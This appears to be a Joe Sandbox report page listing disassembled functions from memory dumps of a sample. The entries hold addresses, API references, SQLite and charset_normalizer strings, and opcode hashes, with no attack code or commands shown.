Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 3510742995-3418467682
Opcode ID: 91602f75254d7218a0107a53bc688bcdb00c3f4e10742aadde5f37c0e5b1a09d
Instruction ID: 34dfac3e33041de2c2a1b79ab5fc3f229078682130dccb3c864288e9c6a5c713
Opcode Fuzzy Hash: 91602f75254d7218a0107a53bc688bcdb00c3f4e10742aadde5f37c0e5b1a09d
Instruction Fuzzy Hash: 2AF17A72B28B9586DBA09B96E0447AD77A8FB49BC4F048036EE8D43B55DF3DD444C702

Function 00007FF8E68D6C30 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 311COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E68D6D44
memset.VCRUNTIME140 ref: 00007FF8E68D6ED7

Strings

database corruption, xrefs: 00007FF8E68D707E
%s at line %d of [%.10s], xrefs: 00007FF8E68D708A
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68D7071

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 2221118986-3418467682
Opcode ID: b4ecf18cf932ab09c5a0dcd71d723e699248de27d3a2c53308080df3d2a3ce49
Instruction ID: 79593c0ff1c7db9e404e317144fc344f3f105ba587d1ec8dcf448702088c34da
Opcode Fuzzy Hash: b4ecf18cf932ab09c5a0dcd71d723e699248de27d3a2c53308080df3d2a3ce49
Instruction Fuzzy Hash: 8DD18C72B18B9586DB50CB66E0047A977A8FB88BC4F158036DE4D47B94DF3DD882C311

Function 00007FF8E69376F0 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E6937F95,?,?,00000000), ref: 00007FF8E6937770
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E6937F95,?,?,00000000), ref: 00007FF8E69378B7

Strings

column%d, xrefs: 00007FF8E69378C5
rowid, xrefs: 00007FF8E6937848
%.*z:%u, xrefs: 00007FF8E6937986

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpymemset
String ID: %.*z:%u$column%d$rowid
API String ID: 1297977491-2903559916
Opcode ID: 7db31c1c0feca94d0fe2313bbd611dd5f68d38f3a15ed93a798a1538fb93f959
Instruction ID: df2a8111dc606e41bb1ec17cd1b093a7c629f2789d9cea7512c1adfd567e0261
Opcode Fuzzy Hash: 7db31c1c0feca94d0fe2313bbd611dd5f68d38f3a15ed93a798a1538fb93f959
Instruction Fuzzy Hash: 82C1EF22B6969785EA25EBA190983B97BA0FF41BD4F084235CE5D4B7C5DF3CE801C306

Function 00007FF8E68DA2A0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8E68D8BC0: memcpy.VCRUNTIME140 ref: 00007FF8E68D8C2C
Part of subcall function 00007FF8E68D8BC0: memcpy.VCRUNTIME140 ref: 00007FF8E68D8C53

memcpy.VCRUNTIME140 ref: 00007FF8E68DA51F
memcpy.VCRUNTIME140 ref: 00007FF8E68DA535

Strings

database corruption, xrefs: 00007FF8E68DA360
%s at line %d of [%.10s], xrefs: 00007FF8E68DA367
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68DA347

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 3510742995-3418467682
Opcode ID: 86738842b0e44f20bdd99a39e3ccfa9be7d7f0e77c9da77a4efe8b00987e6719
Instruction ID: dfebd96ba85b162d8df8b5f3c832790a70060645314082b2163b4496f4d3b6c7
Opcode Fuzzy Hash: 86738842b0e44f20bdd99a39e3ccfa9be7d7f0e77c9da77a4efe8b00987e6719
Instruction Fuzzy Hash: 2C81CF32B1869287D7609BA6D0487AD77AAFB84BD4F108036DB4D47B95DF3CD445C702

Function 00007FF8E68D7C40 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192COMMON

Download Yara Rule

Strings

database corruption, xrefs: 00007FF8E68D7CFF
%s at line %d of [%.10s], xrefs: 00007FF8E68D7D06
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68D7CEC

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 0-3418467682
Opcode ID: 9ce377c43e4b0ac4e6995e3dcccadade6863006014a481b8dff363d14d379dd9
Instruction ID: f2b8f80f679ab64a83f34d1bfc63aa15acf80425df8e7c37b2e5841ebf4160fd
Opcode Fuzzy Hash: 9ce377c43e4b0ac4e6995e3dcccadade6863006014a481b8dff363d14d379dd9
Instruction Fuzzy Hash: 8D81D462B182E19AE720CBA5D5803BD7FA4FB40BC4F044132DB8987A85DF3CE855C762

Function 00007FF8E694AA10 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 158stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,00000000,00007FF8E694ACA8), ref: 00007FF8E694AB67
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,00000000,00007FF8E694ACA8), ref: 00007FF8E694AB81
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00007FF8E694ACA8), ref: 00007FF8E694AC18

Strings

CRE, xrefs: 00007FF8E694AB5D
INS, xrefs: 00007FF8E694AB77

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: strncmp$memcpy
String ID: CRE$INS
API String ID: 2549481713-4116259516
Opcode ID: 2cdf261ae80ba7b8320d94f7685348dc68ba0fe4edc577f2275669bc50fda20b
Instruction ID: 2cb867822752eb274b3189c88c9b9e164768a6320214bb87c7fabb81b8e2d166
Opcode Fuzzy Hash: 2cdf261ae80ba7b8320d94f7685348dc68ba0fe4edc577f2275669bc50fda20b
Instruction Fuzzy Hash: D851C321B3D66681FE64BB9695883792392BF80FD0F584135CE5D4B7D9DE3CE8428302

Function 00007FF8E68D7F40 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 152COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68D7FC9
memmove.VCRUNTIME140 ref: 00007FF8E68D80A5

Strings

database corruption, xrefs: 00007FF8E68D8155
%s at line %d of [%.10s], xrefs: 00007FF8E68D8161
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68D8149

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpymemmove
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 167125708-3418467682
Opcode ID: 79df89aba19dc62236183e3a7e8ad1dbdae6fd8d3e4fea61fcb66bdb4a7a4a6b
Instruction ID: 760da26422d4a18c98e531683f0d8198a19ba5afe8f41d06dc4ab672e452ce5b
Opcode Fuzzy Hash: 79df89aba19dc62236183e3a7e8ad1dbdae6fd8d3e4fea61fcb66bdb4a7a4a6b
Instruction Fuzzy Hash: CD51DFB2718BD0C5CB10CB49E4446AEBBA5F795BD4F148136EA8E03B54DA3CD455CB21

Function 00007FF8E7142ED0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142EFF
PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142F27
PyObject_RichCompareBool.PYTHON312 ref: 00007FF8E7142F3E
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142F54
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142F68

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocFromLong_Ssize_t$BoolCompareObject_Rich
String ID:
API String ID: 4107546884-0
Opcode ID: 48720d78ba32745252a3d04257a9edec78878515a75e68daf766dae4164bca8c
Instruction ID: 0840a8aeee05cf1ec86fd07577afb0407e1832a58d008427aede2887c1b556f4
Opcode Fuzzy Hash: 48720d78ba32745252a3d04257a9edec78878515a75e68daf766dae4164bca8c
Instruction Fuzzy Hash: 16212C32A09B53C6E6694BA5D95437C22D1AF49BF0F984630DA3E467D4EF2CE8918703

Function 00007FF8E7148010 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E714803C
_Py_Dealloc.PYTHON312 ref: 00007FF8E7148065
_Py_Dealloc.PYTHON312 ref: 00007FF8E714808E
_Py_Dealloc.PYTHON312 ref: 00007FF8E71480B7
_Py_Dealloc.PYTHON312 ref: 00007FF8E71480D9

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: 02352599f705a3241e88950aa0469c59beaf4792bcb6d3889a9a60b667567bda
Instruction ID: 1fa9da23dea5a2105ced87b14db0442ba4ee5c380dfc0be93fb1d54985f7f79f
Opcode Fuzzy Hash: 02352599f705a3241e88950aa0469c59beaf4792bcb6d3889a9a60b667567bda
Instruction Fuzzy Hash: 0531A476929B42C5EB694FB8D45C37C32E4AB44BBDF245334CA7A421D1DF7EA4858302

Function 00007FF8E7146AB0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7146ADA

Strings

charset_normalizer.md.SuperWeirdWordPlugin, xrefs: 00007FF8E7146BD9
interpreted classes cannot inherit from compiled, xrefs: 00007FF8E7146AD0
__init__, xrefs: 00007FF8E7146B19, 00007FF8E7146BEC

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.SuperWeirdWordPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-371468285
Opcode ID: 98918f0986896f26525c7bd9e5b43f4031bd6749c4d76523467727f76d4c2467
Instruction ID: dd8d4023b9a837d3309d79f59b14e6258d409a3c2d084027895f53c0bb10a43c
Opcode Fuzzy Hash: 98918f0986896f26525c7bd9e5b43f4031bd6749c4d76523467727f76d4c2467
Instruction Fuzzy Hash: E5411272A08B8286E718CF69E84036973B1FB48BC8F544135CA6C87768EF7DE595C342

Function 00007FF8E7147E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7147E3A

Strings

charset_normalizer.md.ArchaicUpperLowerPlugin, xrefs: 00007FF8E7147F27
interpreted classes cannot inherit from compiled, xrefs: 00007FF8E7147E30
__init__, xrefs: 00007FF8E7147E75, 00007FF8E7147F3A

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.ArchaicUpperLowerPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-353558827
Opcode ID: d9e477cc0f5dbe889ee029430d6b8f0b420a3cfa5d140793ed0a56d7501aa99d
Instruction ID: dad274a97d1dda650bbba7b79a67655d95aa7722cb3610e672d2e20b385d31d1
Opcode Fuzzy Hash: d9e477cc0f5dbe889ee029430d6b8f0b420a3cfa5d140793ed0a56d7501aa99d
Instruction Fuzzy Hash: 84314432A08B82C5E7448F69E84036973A5FB48BC8F540535CA6C87369EF7DE894C342

Function 00007FF8E7144AB0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7144ADA

Strings

interpreted classes cannot inherit from compiled, xrefs: 00007FF8E7144AD0
charset_normalizer.md.TooManySymbolOrPunctuationPlugin, xrefs: 00007FF8E7144BAF
__init__, xrefs: 00007FF8E7144B19, 00007FF8E7144BC2

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.TooManySymbolOrPunctuationPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-3280324660
Opcode ID: a1ddc10de017addce63480acb8cb0cb49846706b3ca5f678430c59beec134696
Instruction ID: b05aa36df7c5d9fa2a5af997900716a3385cd2903f739d6d0ec99d640eadadcc
Opcode Fuzzy Hash: a1ddc10de017addce63480acb8cb0cb49846706b3ca5f678430c59beec134696
Instruction Fuzzy Hash: 3A313672A08B8285EB44CFA9E84036973A5FB48BC8F540435CA6C87768EF7DE595C342

Function 00007FF8E7145E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7145E4A

Strings

interpreted classes cannot inherit from compiled, xrefs: 00007FF8E7145E40
__init__, xrefs: 00007FF8E7145E89, 00007FF8E7145F1E
charset_normalizer.md.SuspiciousDuplicateAccentPlugin, xrefs: 00007FF8E7145F0B

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.SuspiciousDuplicateAccentPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-1506521901
Opcode ID: c9011ee015d9b478a68b666d2386e0bc45b2be7c5bf24e43dd3277610430b050
Instruction ID: 741f4b8e5d5be7a625607925dc1f44a8f83ed129ffc40e97d59c94630a370bf1
Opcode Fuzzy Hash: c9011ee015d9b478a68b666d2386e0bc45b2be7c5bf24e43dd3277610430b050
Instruction Fuzzy Hash: B4314931A18B8285EB08CF59E84036D63A1FF48BC8F980531CA6C97764EF7DE550D342

Function 00007FF8E7146560 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E714658A

Strings

interpreted classes cannot inherit from compiled, xrefs: 00007FF8E7146580
__init__, xrefs: 00007FF8E71465C9, 00007FF8E714665E
charset_normalizer.md.SuspiciousRange, xrefs: 00007FF8E714664B

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.SuspiciousRange$interpreted classes cannot inherit from compiled
API String ID: 1450464846-880397153
Opcode ID: 49407b564c236b4001e082ae6d16e11313c9b7c79a02ae8e4e4803c904df55db
Instruction ID: a56fb16995510b2662ca1a0d099cd1d6b688a363928c008af525b84e8cdd657b
Opcode Fuzzy Hash: 49407b564c236b4001e082ae6d16e11313c9b7c79a02ae8e4e4803c904df55db
Instruction Fuzzy Hash: 7D312731A08B8285EB48CFA9E84036D63B1FB48BC8F940531CA6C87768EF7DE555C342

Function 00007FF8E7145A00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7145A2A

Strings

interpreted classes cannot inherit from compiled, xrefs: 00007FF8E7145A20
__init__, xrefs: 00007FF8E7145A69, 00007FF8E7145AEA
charset_normalizer.md.UnprintablePlugin, xrefs: 00007FF8E7145AD7

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.UnprintablePlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-116036081
Opcode ID: 571f9f9e96768ffb2ac53c4efc93ddbf52cbfab833ec0306282c52c0bf4d27d3
Instruction ID: 80ba45e224dacce76500bb41d37b689562928f51bb3af1663d049294e0acd298
Opcode Fuzzy Hash: 571f9f9e96768ffb2ac53c4efc93ddbf52cbfab833ec0306282c52c0bf4d27d3
Instruction Fuzzy Hash: DD312832A08B8281EB44CF69E84136D63B1FB48BC8F944531DA6C87768EF7DE555D342

Function 00007FF8E7148A10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7148A3A

Strings

charset_normalizer.md.ArabicIsolatedFormPlugin, xrefs: 00007FF8E7148AE7
interpreted classes cannot inherit from compiled, xrefs: 00007FF8E7148A30
__init__, xrefs: 00007FF8E7148A79, 00007FF8E7148AFA

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.ArabicIsolatedFormPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-1141011871
Opcode ID: b59ea239b0ded2da1d7d86f123c67e001364e70b8c495ebd1fe9a254676c74a7
Instruction ID: 467e16f98dc164d75a540787a803fb1aa0c933983e61e160efc58ffb60bfa785
Opcode Fuzzy Hash: b59ea239b0ded2da1d7d86f123c67e001364e70b8c495ebd1fe9a254676c74a7
Instruction Fuzzy Hash: 41312972A09B8285EB44CF69E84036D63B1FB48BC8F540531DA6C87764EF7DE555C341

Function 00007FF8E7145450 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E714547A

Strings

charset_normalizer.md.TooManyAccentuatedPlugin, xrefs: 00007FF8E7145527
interpreted classes cannot inherit from compiled, xrefs: 00007FF8E7145470
__init__, xrefs: 00007FF8E71454B9, 00007FF8E714553A

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.TooManyAccentuatedPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-2999409259
Opcode ID: 46a8908cafe4df30933cc1bf2f0944172b9d1b0b9ac90932bbe1890628880787
Instruction ID: c94d6e0f3d4586c7bdbca55944264f1c62fc61a8564c3e48e528c65264db6fd4
Opcode Fuzzy Hash: 46a8908cafe4df30933cc1bf2f0944172b9d1b0b9ac90932bbe1890628880787
Instruction Fuzzy Hash: 6C313831A08B8285EB448F69E84036D63B1FB48BC8F940531DA6C8B768EF7DE555C741

Function 00007FF8E7149150 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON312 ref: 00007FF8E7149199

Strings

charset_normalizer.md.MessDetectorPlugin, xrefs: 00007FF8E71491A6
eligible, xrefs: 00007FF8E7149206
str, xrefs: 00007FF8E71491F3

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

